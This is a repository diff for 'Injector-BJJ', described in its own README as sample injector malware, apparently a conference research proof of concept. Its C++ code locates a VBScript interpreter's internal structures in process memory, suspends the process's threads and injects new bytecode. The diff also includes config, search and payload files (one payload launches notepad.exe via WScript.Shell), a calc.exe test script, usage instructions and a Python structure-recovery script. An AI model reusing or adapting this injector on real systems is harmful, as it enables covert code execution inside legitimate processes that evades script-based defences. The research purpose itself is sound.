std::deque<ptrdiff_t> member_offsets;
|
||||
member_offsets.push_back(0x1f0);
|
||||
management_structure_addr = backtrack(contents, (LPVOID)((int64_t)iter->addr + match_offset), member_offsets);
|
||||
}
|
||||
}
|
||||
|
||||
return management_structure_addr;
|
||||
}
|
||||
|
||||
LPVOID backtrack(std::list<BinaryContent> contents, LPVOID found_addr, std::deque<ptrdiff_t> member_offsets) {
|
||||
LPVOID backtracked_addr;
|
||||
ptrdiff_t member_offset;
|
||||
|
||||
if (member_offsets.empty()) return found_addr;
|
||||
|
||||
member_offset = member_offsets.front();
|
||||
member_offsets.pop_front();
|
||||
*out << "Member offset: 0x"
|
||||
<< std::hex << std::setfill('0') << std::setw(2)
|
||||
<< member_offset
|
||||
<< ", Deque size: "
|
||||
<< std::dec
|
||||
<< member_offsets.size()
|
||||
<< std::endl;
|
||||
LPVOID struct_base_addr = (LPVOID)((int64_t)found_addr - member_offset);
|
||||
|
||||
char *pattern = generate_search_pattern((int64_t)struct_base_addr);
|
||||
auto m = std::cmatch {};
|
||||
auto p = std::regex(pattern);
|
||||
|
||||
for (auto iter = contents.begin(); iter != contents.end(); iter++) {
|
||||
auto [match_offset, match_len] = search_ptr(iter->bytes, iter->len, pattern);
|
||||
if (match_len != 0) {
|
||||
log_search_result(iter->bytes, iter->addr, match_offset, match_len);
|
||||
backtracked_addr = backtrack(contents, (LPVOID)((int64_t)iter->addr + match_offset), member_offsets);
|
||||
member_offsets.push_front(member_offset);
|
||||
|
||||
return backtracked_addr;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
#ifndef _INJECTOR_SEARCH_H_
|
||||
#define _INJECTOR_SEARCH_H_
|
||||
|
||||
#include <nlohmann/json.hpp>
|
||||
#include "memory.h"
|
||||
#include "payload.h"
|
||||
#include <deque>
|
||||
#include <regex>
|
||||
#include <utility>
|
||||
#include <iomanip>
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
|
||||
using json = nlohmann::json;
|
||||
|
||||
const uint8_t kSearchTextTypeChar = 0;
|
||||
const uint8_t kSearchTextTypeWchar = 1;
|
||||
|
||||
|
||||
typedef struct _Search {
|
||||
uint8_t type;
|
||||
union {
|
||||
char* pattern_mbs;
|
||||
wchar_t* pattern_wcs;
|
||||
};
|
||||
off_t value_object_offset;
|
||||
} Search;
|
||||
|
||||
void deserialize_search(std::string search_json_string, Search& search);
|
||||
char* generate_search_pattern(wchar_t* search_string);
|
||||
char* generate_search_pattern(int64_t search_value);
|
||||
std::pair<ULONGLONG, SIZE_T> search_characteristic_string(BYTE* buf, SIZE_T buf_len, Search search);
|
||||
void log_search_result(BYTE *content, LPVOID content_base_addr, ULONGLONG match_offset, SIZE_T match_len);
|
||||
LPVOID find_management_structure(std::list<BinaryContent> contents, LPVOID value_addr, ptrdiff_t value_offset, ptrdiff_t struct_offset);
|
||||
LPVOID backtrack(std::list<BinaryContent> contents, LPVOID found_addr, std::deque<ptrdiff_t> member_offsets);
|
||||
|
||||
#endif // _INJECTOR_SEARCH_H_
|
||||
@@ -0,0 +1,10 @@
|
||||
#ifndef _INJECTOR_STACK_H_
|
||||
#define _INJECTOR_STACK_H_
|
||||
|
||||
typedef struct _StackInfo {
|
||||
LPVOID base;
|
||||
LPVOID limit;
|
||||
SIZE_T size;
|
||||
} StackInfo;
|
||||
|
||||
#endif // _INJECTOR_STACK_H_
|
||||
@@ -0,0 +1,32 @@
|
||||
#ifndef _INJECTOR_TEB_H_
|
||||
#define _INJECTOR_TEB_H_
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
typedef struct _TEB32 {
|
||||
PVOID Reserved1[1];
|
||||
PVOID StackBase;
|
||||
PVOID StackLimit;
|
||||
PVOID Reserved1x[9];
|
||||
PPEB ProcessEnvironmentBlock;
|
||||
PVOID Reserved2[399];
|
||||
BYTE Reserved3[1952];
|
||||
PVOID TlsSlots[64];
|
||||
BYTE Reserved4[8];
|
||||
PVOID Reserved5[26];
|
||||
PVOID ReservedForOle;
|
||||
PVOID Reserved6[4];
|
||||
PVOID TlsExpansionSlots;
|
||||
} TEB32, *PTEB32;
|
||||
|
||||
typedef struct _THREAD_BASIC_INFORMATION {
|
||||
NTSTATUS ExitStatus;
|
||||
PVOID TebBaseAddress;
|
||||
CLIENT_ID ClientId;
|
||||
KAFFINITY AffinityMask;
|
||||
KPRIORITY Priority;
|
||||
KPRIORITY BasePriority;
|
||||
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;
|
||||
|
||||
#endif // _INJECTOR_TEB_H_
|
||||
@@ -0,0 +1,64 @@
|
||||
#include "thread.h"
|
||||
|
||||
std::vector<HANDLE> get_thread_handles(DWORD pid) {
|
||||
HANDLE hThread;
|
||||
std::vector<HANDLE> hThreads;
|
||||
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
|
||||
THREADENTRY32 te32;
|
||||
|
||||
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
||||
if(hThreadSnap == INVALID_HANDLE_VALUE)
|
||||
return hThreads;
|
||||
|
||||
te32.dwSize = sizeof(THREADENTRY32);
|
||||
|
||||
if(!Thread32First(hThreadSnap, &te32)) {
|
||||
log_err_msg();
|
||||
CloseHandle(hThreadSnap);
|
||||
return hThreads;
|
||||
}
|
||||
|
||||
do {
|
||||
if(te32.th32OwnerProcessID == pid) {
|
||||
hThread = OpenThread(THREAD_SUSPEND_RESUME, TRUE, te32.th32ThreadID);
|
||||
if (hThread) {
|
||||
hThreads.push_back(hThread);
|
||||
} else {
|
||||
log_err_msg();
|
||||
}
|
||||
}
|
||||
} while(Thread32Next(hThreadSnap, &te32));
|
||||
|
||||
CloseHandle(hThreadSnap);
|
||||
return hThreads;
|
||||
}
|
||||
|
||||
bool suspend_threads(std::vector<HANDLE> hThreads) {
|
||||
for (auto iter = hThreads.begin(); iter != hThreads.end(); iter++) {
|
||||
if (SuspendThread(*iter) < 0) {
|
||||
log_err_msg();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool resume_threads(std::vector<HANDLE> hThreads) {
|
||||
for (auto iter = hThreads.begin(); iter != hThreads.end(); iter++) {
|
||||
if (ResumeThread(*iter) < 0) {
|
||||
log_err_msg();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool close_handles(std::vector<HANDLE> handles) {
|
||||
for (auto iter = handles.begin(); iter != handles.end(); iter++) {
|
||||
if (CloseHandle(*iter) == 0) {
|
||||
log_err_msg();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#ifndef _INJECTOR_THREAD_H_
|
||||
#define _INJECTOR_THREAD_H_
|
||||
|
||||
#include "util.h"
|
||||
#include <Windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <vector>
|
||||
|
||||
#define OP_THREAD_SUSPEND 0
|
||||
#define OP_THREAD_RESUME 1
|
||||
|
||||
std::vector<HANDLE> get_thread_handles(DWORD pid);
|
||||
bool suspend_threads(std::vector<HANDLE> hThreads);
|
||||
bool resume_threads(std::vector<HANDLE> hThreads);
|
||||
bool close_handles(std::vector<HANDLE> handles);
|
||||
// bool suspend_thread(DWORD tid);
|
||||
// bool resume_thread(DWORD tid);
|
||||
// bool operate_threads(DWORD pid, BYTE op);
|
||||
// bool suspend_threads(DWORD pid);
|
||||
// bool resume_threads(DWORD pid);
|
||||
|
||||
#endif // _INJECTOR_THREAD_H_
|
||||
@@ -0,0 +1,48 @@
|
||||
#include "util.h"
|
||||
|
||||
extern std::ostream *out;
|
||||
|
||||
LPVOID get_err_msg() {
|
||||
DWORD err_code;
|
||||
LPVOID err_msg;
|
||||
|
||||
err_code = GetLastError();
|
||||
|
||||
FormatMessage(
|
||||
FORMAT_MESSAGE_ALLOCATE_BUFFER
|
||||
| FORMAT_MESSAGE_FROM_SYSTEM
|
||||
| FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
NULL,
|
||||
err_code,
|
||||
MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US),
|
||||
(LPTSTR)&err_msg,
|
||||
0,
|
||||
NULL);
|
||||
|
||||
return err_msg;
|
||||
}
|
||||
|
||||
void print_err_msg() {
|
||||
LPVOID err_msg;
|
||||
|
||||
err_msg = get_err_msg();
|
||||
std::cout << "Error: " << (LPCTSTR)err_msg;
|
||||
LocalFree(err_msg);
|
||||
}
|
||||
|
||||
void log_err_msg() {
|
||||
LPVOID err_msg;
|
||||
|
||||
err_msg = get_err_msg();
|
||||
LocalFree(err_msg);
|
||||
}
|
||||
|
||||
std::string read_file(std::string file_name) {
|
||||
std::ifstream f(file_name);
|
||||
if (!f) {
|
||||
std::exit(1);
|
||||
}
|
||||
auto ss = std::ostringstream{};
|
||||
ss << f.rdbuf();
|
||||
return ss.str();
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#ifndef _INJECTOR_UTIL_H_
|
||||
#define _INJECTOR_UTIL_H_
|
||||
|
||||
#include <Windows.h>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
|
||||
LPVOID get_err_msg();
|
||||
void print_err_msg();
|
||||
void log_err_msg();
|
||||
std::string read_file(std::string file_name);
|
||||
|
||||
#endif // _INJECTOR_UTIL_H_
|
||||
@@ -0,0 +1,13 @@
|
||||
#ifndef _INJECTOR_VPC_H_
|
||||
#define _INJECTOR_VPC_H_
|
||||
|
||||
#include <Windows.h>
|
||||
#include <vector>
|
||||
|
||||
using std::vector;
|
||||
|
||||
typedef struct _VPC {
|
||||
vector<off_t> reference_offsets;
|
||||
} VPC;
|
||||
|
||||
#endif // _INJECTOR_VPC_H_
|
||||
@@ -0,0 +1,197 @@
|
||||
# Injector-BJJ
|
||||
|
||||
`Injector-BJJ` is a sample injector malware that injects bytecode and symbol tables using Bytecode Jiu-Jitsu.
|
||||
|
||||
## Build
|
||||
|
||||
1. Download and install Visual Studio
|
||||
|
||||
2. Open `Injector-BJJ.sln`
|
||||
|
||||
3. Build solution
|
||||
|
||||
## Test
|
||||
|
||||
1. Open Command Prompt
|
||||
|
||||
2. Move to the `test` directory
|
||||
|
||||
3. Execute `run.bat` (Release build for x64 is required)
|
||||
|
||||
## Tested Environment
|
||||
|
||||
|Component|Version|Note|
|
||||
|-|-|-|
|
||||
|OS|Windows 11 version 23H2 x64|Built with `en-us_windows_11_consumer_editions_version_23h2_updated_june_2024_x64_dvd_78b33b16.iso`|
|
||||
|Toolchain|Microsoft Visual C++ 2022||
|
||||
|Target interpreters|VBScript 5.812.10240.16384||
|
||||
|
||||
## Preparation
|
||||
|
||||
Injector-BJJ has two options for when to determine its behavior: at runtime and at compile time.
|
||||
For the runtime determination of the behavior, Injector-BJJ requires three JSON-formatted files that will be input to commandline arguments: `config.json`, `search.json`, and `payload.json`.
|
||||
For the compile-time determinzation, Injector-BJJ requires three C header files: `config_input.h`, `search_input.h`, and `payload_input.h`.
|
||||
|
||||
### Config files
|
||||
|
||||
`config` files (both JSON and C header) contain information regarding the internal structures of the target interpreter.
|
||||
|
||||
- Module name of the target interpreter
|
||||
- Offset to the interpretation function from the image base
|
||||
- Argument index in the interpreter function that contains the pointer to the management structure
|
||||
- Reference offsets required to traverse from the management structure to bytecode, symbol tables, and the virtual program counter (VPC)
|
||||
|
||||
Example:
|
||||
```json
|
||||
{
|
||||
"interp_module_name": "C:\\Windows\\System32\\vbscript.dll",
|
||||
"interp_func_offset": 33968,
|
||||
"management_structure_index": 1,
|
||||
"bytecode": {
|
||||
"reference_offsets": [
|
||||
0,
|
||||
480
|
||||
]
|
||||
},
|
||||
"symbol_tables": [
|
||||
{
|
||||
"type": 2,
|
||||
"scope": 0,
|
||||
"reference_offsets": [
|
||||
0,
|
||||
496
|
||||
],
|
||||
"forward_link_offset": 0
|
||||
}
|
||||
],
|
||||
"vpc": {
|
||||
"reference_offsets": [
|
||||
0,
|
||||
472
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A `config_input.h` contains the information equivalent to above in the C-structure style.
|
||||
These files will be generated by `STAGER-BJJ`.
|
||||
|
||||
### Search files
|
||||
|
||||
`search` files (both JSON and C header) contain information regarding a characteristic text searchable in memory. The target text is used to find the management structure under the ASLR-enabled environment.
|
||||
|
||||
- Bytes of the search pattern for the target text (in hexadecimal representation)
|
||||
- Type of the target text (Multibyte string: 0, Wide character string: 1)
|
||||
- Offset to the raw text in value objects
|
||||
|
||||
```json
|
||||
{
|
||||
"pattern": [
|
||||
72,
|
||||
101,
|
||||
108,
|
||||
108,
|
||||
111,
|
||||
44,
|
||||
32,
|
||||
66,
|
||||
108,
|
||||
97,
|
||||
99,
|
||||
107,
|
||||
32,
|
||||
72,
|
||||
97,
|
||||
116,
|
||||
32,
|
||||
102,
|
||||
111,
|
||||
108,
|
||||
107,
|
||||
115,
|
||||
33
|
||||
],
|
||||
"type": 1,
|
||||
"value_object_offset": 72
|
||||
}
|
||||
```
|
||||
|
||||
A `config_input.h` contains the information equivalent to above in the C-structure style.
|
||||
These files will be generated by `Extractor-BJJ`.
|
||||
|
||||
### Payload file
|
||||
|
||||
`payload` files (both JSON and C header) contain information regarding payloads (i.e., bytecode and symbol tables).
|
||||
|
||||
- Bytecode
|
||||
- Bytes
|
||||
- Length
|
||||
- Symbol tables
|
||||
- Scope (Global: 0, Local: 1)
|
||||
- Value objects
|
||||
- Bytes
|
||||
- Length
|
||||
- Index in the symbol table
|
||||
|
||||
```json
|
||||
{
|
||||
"bytecode": {
|
||||
"bytes": [
|
||||
86,
|
||||
56,
|
||||
[snipped],
|
||||
2,
|
||||
1
|
||||
],
|
||||
"len": 44
|
||||
},
|
||||
"symbol_tables": [
|
||||
{
|
||||
"scope": 0,
|
||||
"value_objects": [
|
||||
{
|
||||
"bytes": [
|
||||
208,
|
||||
0,
|
||||
[snipped],
|
||||
0,
|
||||
0
|
||||
],
|
||||
"len": 224,
|
||||
"index": 0
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
A `payload_input.h` contains the information equivalent to above in the C-structure style.
|
||||
These files will be generated by `Extractor-BJJ`.
|
||||
|
||||
## Usage
|
||||
|
||||
### Runtime
|
||||
|
||||
Specify the three files of `config.json`, `search.json`, and `payload.json` at commandline arguments as follows.
|
||||
|
||||
```sh
|
||||
> Injector-BJJ.exe -c config.json -p payload.json -s search.json
|
||||
```
|
||||
|
||||
### Compile time
|
||||
|
||||
Replace the three files of `config_input.h`, `search_input.h`, and `payload_input.h` in the solution directory and build the project.
|
||||
Then simply execute the generated executable file, which leads to carry out bytecode injection with the information embedded in each header file.
|
||||
|
||||
```sh
|
||||
> Injector-BJJ.exe
|
||||
```
|
||||
|
||||
Note: It is also possible to mix the behavior determination at compile time and those at runtime.
|
||||
|
||||
For example, you can only replace `config_input.h` at compile time and specify `search.json` and `payload.json` at runtime.
|
||||
|
||||
```sh
|
||||
> Injector-BJJ.exe -s search.json -p payload.json
|
||||
```
|
||||
@@ -0,0 +1,3 @@
|
||||
Dim Wsh
|
||||
Set Wsh = CreateObject("WScript.Shell")
|
||||
Wsh.Run "calc.exe"
|
||||
@@ -0,0 +1 @@
|
||||
..\x64\Release\Injector-BJJ.exe -c test_config.json -p test_payload.json -s test_search.json
|
||||
@@ -0,0 +1,5 @@
|
||||
Dim msg
|
||||
|
||||
msg = "Hello, Black Hat folks!"
|
||||
WScript.Echo msg
|
||||
WScript.Sleep 30000
|
||||
@@ -0,0 +1,28 @@
|
||||
{
|
||||
"interp_module_name": "C:\\Windows\\System32\\vbscript.dll",
|
||||
"interp_func_offset": 33968,
|
||||
"management_structure_index": 1,
|
||||
"bytecode": {
|
||||
"reference_offsets": [
|
||||
0,
|
||||
480
|
||||
]
|
||||
},
|
||||
"symbol_tables": [
|
||||
{
|
||||
"type": 2,
|
||||
"scope": 0,
|
||||
"reference_offsets": [
|
||||
0,
|
||||
496
|
||||
],
|
||||
"forward_link_offset": 0
|
||||
}
|
||||
],
|
||||
"vpc": {
|
||||
"reference_offsets": [
|
||||
0,
|
||||
472
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,288 @@
|
||||
{
|
||||
"bytecode": {
|
||||
"bytes": [
|
||||
86,
|
||||
56,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
3,
|
||||
0,
|
||||
14,
|
||||
72,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
40,
|
||||
108,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
27,
|
||||
1,
|
||||
0,
|
||||
3,
|
||||
1,
|
||||
25,
|
||||
1,
|
||||
0,
|
||||
14,
|
||||
144,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
49,
|
||||
176,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
2,
|
||||
1
|
||||
],
|
||||
"len": 44
|
||||
},
|
||||
"symbol_tables": [
|
||||
{
|
||||
"scope": 0,
|
||||
"value_objects": [
|
||||
{
|
||||
"bytes": [
|
||||
208,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
32,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
184,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
2,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
204,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
16,
|
||||
2,
|
||||
0,
|
||||
0,
|
||||
188,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
2,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
240,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
32,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
71,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
98,
|
||||
142,
|
||||
0,
|
||||
0,
|
||||
6,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
87,
|
||||
0,
|
||||
115,
|
||||
0,
|
||||
104,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
66,
|
||||
13,
|
||||
111,
|
||||
38,
|
||||
26,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
87,
|
||||
0,
|
||||
83,
|
||||
0,
|
||||
99,
|
||||
0,
|
||||
114,
|
||||
0,
|
||||
105,
|
||||
0,
|
||||
112,
|
||||
0,
|
||||
116,
|
||||
0,
|
||||
46,
|
||||
0,
|
||||
83,
|
||||
0,
|
||||
104,
|
||||
0,
|
||||
101,
|
||||
0,
|
||||
108,
|
||||
0,
|
||||
108,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
11,
|
||||
183,
|
||||
183,
|
||||
15,
|
||||
24,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
67,
|
||||
0,
|
||||
114,
|
||||
0,
|
||||
101,
|
||||
0,
|
||||
97,
|
||||
0,
|
||||
116,
|
||||
0,
|
||||
101,
|
||||
0,
|
||||
79,
|
||||
0,
|
||||
98,
|
||||
0,
|
||||
106,
|
||||
0,
|
||||
101,
|
||||
0,
|
||||
99,
|
||||
0,
|
||||
116,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
173,
|
||||
186,
|
||||
203,
|
||||
39,
|
||||
156,
|
||||
228,
|
||||
22,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
110,
|
||||
0,
|
||||
111,
|
||||
0,
|
||||
116,
|
||||
0,
|
||||
101,
|
||||
0,
|
||||
112,
|
||||
0,
|
||||
97,
|
||||
0,
|
||||
100,
|
||||
0,
|
||||
46,
|
||||
0,
|
||||
101,
|
||||
0,
|
||||
120,
|
||||
0,
|
||||
101,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
229,
|
||||
136,
|
||||
0,
|
||||
0,
|
||||
6,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
82,
|
||||
0,
|
||||
117,
|
||||
0,
|
||||
110,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
137,
|
||||
169,
|
||||
173,
|
||||
186,
|
||||
9,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
39,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
50,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
21,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
176,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
],
|
||||
"len": 224,
|
||||
"index": 0
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
{
|
||||
"pattern": [
|
||||
72,
|
||||
101,
|
||||
108,
|
||||
108,
|
||||
111,
|
||||
44,
|
||||
32,
|
||||
66,
|
||||
108,
|
||||
97,
|
||||
99,
|
||||
107,
|
||||
32,
|
||||
72,
|
||||
97,
|
||||
116,
|
||||
32,
|
||||
102,
|
||||
111,
|
||||
108,
|
||||
107,
|
||||
115,
|
||||
33
|
||||
],
|
||||
"type": 1,
|
||||
"value_object_offset": 72
|
||||
}
|
||||
@@ -0,0 +1,290 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from logproc import *
|
||||
from tree import *
|
||||
import logging
|
||||
|
||||
logging.basicConfig(format='[+] %(message)s', level=logging.INFO)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Struct(object):
|
||||
def __init__(self, base, offset, size, index=None):
|
||||
self.base = base
|
||||
self.member = []
|
||||
if index is None:
|
||||
self.member.append({'offset': offset, 'size': size})
|
||||
else:
|
||||
self.member.append({'offset': offset, 'size': size, 'index': [index]})
|
||||
|
||||
def __str__(self):
|
||||
result = 'base: {}\n'.format(hex(self.base))
|
||||
for member in self.member:
|
||||
if 'index' in member.keys():
|
||||
result += '{} {} {}\n'.format(hex(member['offset']), member['size'], member['index'])
|
||||
else:
|
||||
result += '{} {}\n'.format(hex(member['offset']), member['size'])
|
||||
return result
|
||||
|
||||
def sort_member(self):
|
||||
self.member = sorted(self.member, key=lambda x: x['offset'])
|
||||
|
||||
def add_member(self, offset, size, index=None):
|
||||
found = False
|
||||
for member in self.member:
|
||||
if member['offset'] == offset:
|
||||
if index is not None:
|
||||
# member is array
|
||||
if 'index' in member.keys():
|
||||
if index not in member['index']:
|
||||
member['index'].append(index)
|
||||
else:
|
||||
# TODO: investigate why this happens
|
||||
member['index'] = [index]
|
||||
found = True
|
||||
break
|
||||
if not found:
|
||||
if index is None:
|
||||
# member is not array
|
||||
self.member.append({'offset': offset, 'size': size})
|
||||
else:
|
||||
# member is array
|
||||
self.member.append({'offset': offset, 'size': size, 'index': [index]})
|
||||
self.sort_member()
|
||||
|
||||
class Array(object):
|
||||
def __init__(self, base, index, size):
|
||||
self.base = base
|
||||
self.index = [index]
|
||||
self.size = size
|
||||
self.elem_struct = {}
|
||||
|
||||
def __str__(self):
|
||||
result = 'base: {}\n'.format(hex(self.base))
|
||||
result += 'size: {}\n'.format(self.size)
|
||||
for index in self.index:
|
||||
result += '{}\n'.format(index)
|
||||
return result
|
||||
|
||||
def sort_index(self):
|
||||
self.index = sorted(self.index)
|
||||
|
||||
def add_index(self, index):
|
||||
self.index.append(index)
|
||||
self.index = list(set(self.index))
|
||||
self.sort_index()
|
||||
|
||||
def add_elem_struct(self, structs, base):
|
||||
for struct in structs:
|
||||
if True:
|
||||
self.elem_struct.append(struct)
|
||||
|
||||
class Reference(object):
|
||||
def __init__(self):
|
||||
self.start_reg = None
|
||||
self.ref_offsets = []
|
||||
|
||||
def __str__(self):
|
||||
string = self.start_reg.upper()
|
||||
for idx, offset in enumerate(self.ref_offsets):
|
||||
if isinstance(offset, dict):
|
||||
string += ' +{} (Array: elem size {})'.format(hex(offset['offset']), offset['size'])
|
||||
else:
|
||||
string += ' +{}'.format(hex(offset))
|
||||
|
||||
if idx != len(self.ref_offsets) - 1:
|
||||
string += ' ->'
|
||||
|
||||
return string
|
||||
|
||||
def add_start_reg(self, reg):
|
||||
self.start_reg = reg
|
||||
|
||||
def add_struct_ref(self, offset):
|
||||
self.ref_offsets.append(offset)
|
||||
|
||||
def add_array_ref(self, offset, elem_size):
|
||||
self.ref_offsets.append({'offset': offset, 'size': elem_size})
|
||||
|
||||
def build_struct(memaccess_log):
|
||||
structs = []
|
||||
|
||||
for logline in memaccess_log:
|
||||
base = logline['base']
|
||||
|
||||
if 'disp' in logline.keys():
|
||||
disp = logline['disp']
|
||||
if disp != 0:
|
||||
size = logline['size']
|
||||
if 'index' in logline.keys():
|
||||
index = logline['index']
|
||||
else:
|
||||
index = None
|
||||
|
||||
found = False
|
||||
for struct in structs:
|
||||
if struct.base == base:
|
||||
if index is None:
|
||||
struct.add_member(disp, size)
|
||||
else:
|
||||
struct.add_member(disp, size, index)
|
||||
break
|
||||
if not found:
|
||||
if index is None:
|
||||
structs.append(Struct(base, disp, size))
|
||||
else:
|
||||
structs.append(Struct(base, disp, size, index))
|
||||
|
||||
return structs
|
||||
|
||||
def build_array(memaccess_log):
|
||||
arrays = []
|
||||
|
||||
for logline in memaccess_log:
|
||||
if 'index' in logline.keys():
|
||||
index = logline['index']
|
||||
base = logline['base']
|
||||
size = logline['size']
|
||||
found = False
|
||||
for array in arrays:
|
||||
if array.base == base:
|
||||
array.add_index(index)
|
||||
found = True
|
||||
break
|
||||
if not found:
|
||||
arrays.append(Array(base, index, size))
|
||||
|
||||
return arrays
|
||||
|
||||
def find_struct(structs, addr):
|
||||
for struct in structs:
|
||||
for member in struct.member:
|
||||
if struct.base + member['offset'] == addr:
|
||||
return struct, member['offset']
|
||||
if 'index' in member.keys():
|
||||
for index in member['index']:
|
||||
if struct.base + member['offset'] + index * member['size'] == addr:
|
||||
return struct, member['offset']
|
||||
|
||||
if struct.base == addr:
|
||||
return struct, 0
|
||||
|
||||
return None
|
||||
|
||||
def find_array(arrays, addr):
|
||||
for array in arrays:
|
||||
for index in array.index:
|
||||
if array.base + index * array.size == addr:
|
||||
return array, index
|
||||
|
||||
if array.base == addr:
|
||||
print('Target: {}'.format(hex(addr)))
|
||||
print('Found array base: {}'.format(hex(array.base)))
|
||||
print('Found index: 0')
|
||||
return array, 0
|
||||
|
||||
return None
|
||||
|
||||
def build_struct_tree(structs, taint_var_log, start_addr):
|
||||
tree = []
|
||||
exploration_stack = []
|
||||
current_node_id = 0
|
||||
|
||||
root = Node()
|
||||
root.addr = start_addr
|
||||
found = find_struct(structs, start_addr)
|
||||
if found is not None:
|
||||
root.struct = found[0]
|
||||
root.offset = found[1]
|
||||
logger.info('Found struct: {}'.format(found[0]))
|
||||
logger.info('Found offset: {}'.format(hex(found[1])))
|
||||
root.val = get_var_val(taint_var_log, start_addr)
|
||||
root.size = get_var_size(taint_var_log, start_addr)
|
||||
tree.append(root)
|
||||
|
||||
exploration_stack.append(current_node_id)
|
||||
while len(exploration_stack) != 0:
|
||||
logger.info('Exploration stack: {}'.format(exploration_stack))
|
||||
current_node_id = exploration_stack.pop(-1)
|
||||
current_node = tree[current_node_id]
|
||||
found = find_struct(structs, current_node.addr)
|
||||
if found is not None:
|
||||
current_node.struct = found[0]
|
||||
else:
|
||||
print('{} not found'.format(current_node.addr))
|
||||
continue
|
||||
|
||||
addrs = get_var_addr(taint_var_log, current_node.struct.base)
|
||||
for addr in addrs:
|
||||
new_node_id = len(tree)
|
||||
node = Node()
|
||||
node.id = new_node_id
|
||||
node.parent = current_node_id
|
||||
node.childs = []
|
||||
node.addr = addr
|
||||
found = find_struct(structs, addr)
|
||||
if found is not None:
|
||||
node.struct = found[0]
|
||||
node.offset = found[1]
|
||||
print(found[0], found[1])
|
||||
else:
|
||||
print('Struct base for {} not found'.format(hex(addr)))
|
||||
continue
|
||||
node.val = get_var_val(taint_var_log, addr)
|
||||
node.size = get_var_size(taint_var_log, addr)
|
||||
tree.append(node)
|
||||
current_node.childs.append(new_node_id)
|
||||
exploration_stack.append(new_node_id)
|
||||
|
||||
return tree
|
||||
|
||||
def backtrack(tree, from_node_id):
|
||||
path = []
|
||||
|
||||
node_id = from_node_id
|
||||
while node_id != -1:
|
||||
path.append(tree[node_id])
|
||||
node_id = tree[node_id].parent
|
||||
|
||||
return path
|
||||
|
||||
def get_struct_ref_path(tree, addr):
|
||||
for node in tree:
|
||||
if node.struct.base == addr:
|
||||
return backtrack(tree, node.id)
|
||||
|
||||
def diff_ref_path(path1, path2):
|
||||
for (node1, node2) in zip(path1, path2):
|
||||
if node1.addr == node2.addr:
|
||||
print(hex(node1.addr))
|
||||
else:
|
||||
print(hex(node1.addr), hex(node2.addr))
|
||||
|
||||
def build_ref_info(struct_tree, ref_path, reg_values):
|
||||
ref = Reference()
|
||||
|
||||
first_node = ref_path[0]
|
||||
for reg, val in reg_values.items():
|
||||
if ((first_node.struct is None and first_node.addr == val)
|
||||
or (first_node.struct is not None and first_node.struct.base == val)):
|
||||
ref.add_start_reg(reg)
|
||||
|
||||
for node in ref_path:
|
||||
struct = get_struct(struct_tree, node.addr)
|
||||
|
||||
for member in struct.member:
|
||||
if 'index' in member.keys():
|
||||
for index in member['index']:
|
||||
if node.offset == member['offset'] + member['size'] * index:
|
||||
ref.add_array_ref(member['offset'], member['size'])
|
||||
elif node.offset == member['offset']:
|
||||
ref.add_struct_ref(member['offset'])
|
||||
|
